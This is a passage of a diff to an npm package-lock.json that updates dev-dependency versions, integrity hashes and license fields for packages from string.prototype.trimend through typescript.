+      "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "es-abstract": "^1.20.4"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-data-property": "^1.1.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-object-atoms": "^1.0.0",
+        "has-property-descriptors": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8403,28 +9463,37 @@
       }
     },
     "node_modules/string.prototype.trimend": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz",
-      "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==",
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
+      "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "es-abstract": "^1.20.4"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/string.prototype.trimstart": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz",
-      "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
+      "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "es-abstract": "^1.20.4"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -8435,6 +9504,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
       "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^3.0.0"
       },
@@ -8447,6 +9517,7 @@
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz",
       "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -8456,6 +9527,7 @@
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
       "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -8465,6 +9537,7 @@
       "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz",
       "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8474,6 +9547,7 @@
       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
       "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8483,6 +9557,7 @@
       "resolved": "https://registry.npmjs.org/subarg/-/subarg-1.0.0.tgz",
       "integrity": "sha512-RIrIdRY0X1xojthNcVtgT9sjpOGagEUKpZdgBUi054OEPFo282yg+zE+t1Rj3+RqKq2xStL7uUHhY+AjbC4BXg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.1.0"
       }
@@ -8491,8 +9566,9 @@
       "version": "3.8.3",
       "resolved": "https://registry.npmjs.org/superagent/-/superagent-3.8.3.tgz",
       "integrity": "sha512-GLQtLMCoEIK4eDv6OGtkOoSMt3D+oq0y3dsxMuYuDvaNUvuT8eFBuLmfR0iYYzHC1e8hpzC6ZsxbuP6DIalMFA==",
-      "deprecated": "Please upgrade to v7.0.2+ of superagent.  We have fixed numerous issues with streams, form-data, attach(), filesystem errors not bubbling up (ENOENT on attach()), and all tests are now passing.  See the releases tab for more information at <https://github.com/visionmedia/superagent/releases>.",
+      "deprecated": "Please upgrade to v9.0.0+ as we have fixed a public vulnerability with formidable dependency. Note that v9.0.0+ requires Node.js v14.18.0+. See https://github.com/ladjs/superagent/pull/1800 for insight. This project is supported and maintained by the team at Forward Email @ https://forwardemail.net",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "component-emitter": "^1.2.0",
         "cookiejar": "^2.1.0",
@@ -8514,6 +9590,7 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
       "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "^2.1.1"
       }
@@ -8523,6 +9600,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
       "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -8534,6 +9612,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -8545,13 +9624,15 @@
       "version": "3.2.4",
       "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
       "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/syntax-error": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz",
       "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn-node": "^1.2.0"
       }
@@ -8561,6 +9642,7 @@
       "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz",
       "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "ajv": "^6.10.2",
         "lodash": "^4.17.14",
@@ -8576,6 +9658,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
       "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^7.0.1",
         "is-fullwidth-code-point": "^2.0.0",
@@ -8590,6 +9673,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
       "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^4.1.0"
       },
@@ -8601,13 +9685,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/ternary/-/ternary-1.0.0.tgz",
       "integrity": "sha512-/e+OUAGiEqytNLXnDfFkuel0N0y9IGkmvuGIPkirI+zv0dx/jPvUZ2l8qV6KYk8lmmLrAqk4iLJtRduUA6AUKw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/test-exclude": {
       "version": "5.2.3",
       "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-5.2.3.tgz",
       "integrity": "sha512-M+oxtseCFO3EDtAaGH7iiej3CBkzXqFMbzqYAACdzKui4eZA+pq3tZEwChvOdNfa7xxy8BfbmgJSIr43cC/+2g==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "glob": "^7.1.3",
         "minimatch": "^3.0.4",
@@ -8622,25 +9708,29 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
       "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/throat": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/throat/-/throat-4.1.0.tgz",
       "integrity": "sha512-wCVxLDcFxw7ujDxaeJC6nfl2XfHJNYs8yUYJnvMgtPEFlttP9tHSfRUv2vBe6C4hkVFPWoP1P6ZccbYjmSEkKA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/through": {
       "version": "2.3.8",
       "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
       "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/through2": {
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
       "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "~2.3.6",
         "xtend": "~4.0.1"
@@ -8663,6 +9753,7 @@
       "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
       "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "os-tmpdir": "~1.0.2"
       },
@@ -8674,22 +9765,37 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
       "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==",
-      "dev": true
-    },
-    "node_modules/to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
       "dev": true,
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/to-buffer": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz",
+      "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "isarray": "^2.0.5",
+        "safe-buffer": "^5.2.1",
+        "typed-array-buffer": "^1.0.3"
+      },
       "engines": {
-        "node": ">=4"
+        "node": ">= 0.4"
       }
     },
+    "node_modules/to-buffer/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/to-object-path": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
       "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "kind-of": "^3.0.2"
       },
@@ -8702,6 +9808,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
       "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-buffer": "^1.1.5"
       },
@@ -8714,6 +9821,7 @@
       "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
       "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "define-property": "^2.0.2",
         "extend-shallow": "^3.0.2",
@@ -8729,6 +9837,7 @@
       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
       "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-number": "^3.0.0",
         "repeat-string": "^1.6.1"
@@ -8742,6 +9851,7 @@
       "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
       "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "psl": "^1.1.28",
         "punycode": "^2.1.1"
@@ -8751,10 +9861,11 @@
       }
     },
     "node_modules/tough-cookie/node_modules/punycode": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz",
-      "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==",
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -8764,15 +9875,17 @@
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
       "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "punycode": "^2.1.0"
       }
     },
     "node_modules/tr46/node_modules/punycode": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz",
-      "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==",
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -8782,6 +9895,7 @@
       "resolved": "https://registry.npmjs.org/transformify/-/transformify-0.1.2.tgz",
       "integrity": "sha512-BUZAqCslm5pVXExA8PfXcvp7exsUNqRcNzx+KXj3Bv0oMROqnAt4bvs9U8Z2wVPa40NvLWJ/oswN0kreNFxBUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "~1.1.9"
       }
@@ -8790,13 +9904,15 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
       "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/transformify/node_modules/readable-stream": {
       "version": "1.1.14",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz",
       "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.1",
@@ -8808,13 +9924,15 @@
       "version": "0.10.31",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
       "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/ts-jest": {
       "version": "24.3.0",
       "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-24.3.0.tgz",
       "integrity": "sha512-Hb94C/+QRIgjVZlJyiWwouYUF+siNJHJHknyspaOcZ+OQAIdFG/UrdQVXw/0B8Z3No34xkUXZJpOTy9alOWdVQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bs-logger": "0.x",
         "buffer-from": "1.x",
@@ -8842,6 +9960,7 @@
       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "json5": "lib/cli.js"
       },
@@ -8853,19 +9972,22 @@
       "version": "4.1.2",
       "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
       "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/tslib": {
       "version": "1.14.1",
       "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
       "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
-      "dev": true
+      "dev": true,
+      "license": "0BSD"
     },
     "node_modules/tslint": {
       "version": "5.20.1",
       "resolved": "https://registry.npmjs.org/tslint/-/tslint-5.20.1.tgz",
       "integrity": "sha512-EcMxhzCFt8k+/UP5r8waCf/lzmeSyVlqxqMEDQE7rWYiQky8KpIBz1JAoYXfROHrPZ1XXd43q8yQnULOLiBRQg==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "@babel/code-frame": "^7.0.0",
         "builtin-modules": "^1.1.1",
@@ -8896,6 +10018,7 @@
       "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-2.29.0.tgz",
       "integrity": "sha512-g5JVHCIJwzfISaXpXE1qvNalca5Jwob6FjI4AoPlqMusJ6ftFE7IkkFoMhVLRgK+4Kx3gkzb8UZK5t5yTTvEmA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "tslib": "^1.8.1"
       },
@@ -8907,13 +10030,15 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz",
       "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/tunnel-agent": {
       "version": "0.6.0",
       "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
       "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "safe-buffer": "^5.0.1"
       },
@@ -8925,19 +10050,22 @@
       "version": "0.14.5",
       "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
       "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
-      "dev": true
+      "dev": true,
+      "license": "Unlicense"
     },
     "node_modules/type": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
-      "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==",
-      "dev": true
+      "version": "2.7.3",
+      "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz",
+      "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/type-check": {
       "version": "0.3.2",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
       "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "~1.1.2"
       },
@@ -8946,29 +10074,32 @@
       }
     },
     "node_modules/typed-array-buffer": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz",
-      "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
+      "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.1",
-        "is-typed-array": "^1.1.10"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
       }
     },
     "node_modules/typed-array-byte-length": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz",
-      "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",
+      "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.14"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8978,16 +10109,19 @@
       }
     },
     "node_modules/typed-array-byte-offset": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz",
-      "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",
+      "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.2",
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "is-typed-array": "^1.1.10"
+        "gopd": "^1.2.0",
+        "has-proto": "^1.2.0",
+        "is-typed-array": "^1.1.15",
+        "reflect.getprototypeof": "^1.0.9"
       },
       "engines": {
         "node": ">= 0.4"
@@ -8997,14 +10131,21 @@
       }
     },
     "node_modules/typed-array-length": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz",
-      "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==",
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
+      "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bind": "^1.0.7",
         "for-each": "^0.3.3",
-        "is-typed-array": "^1.1.9"
+        "gopd": "^1.0.1",
+        "is-typed-array": "^1.1.13",
+        "possible-typed-array-names": "^1.0.0",
+        "reflect.getprototypeof": "^1.0.6"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9014,13 +10155,15 @@
       "version": "0.0.6",
       "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
       "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/typescript": {
       "version": "3.9.10",
       "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.10.tgz",
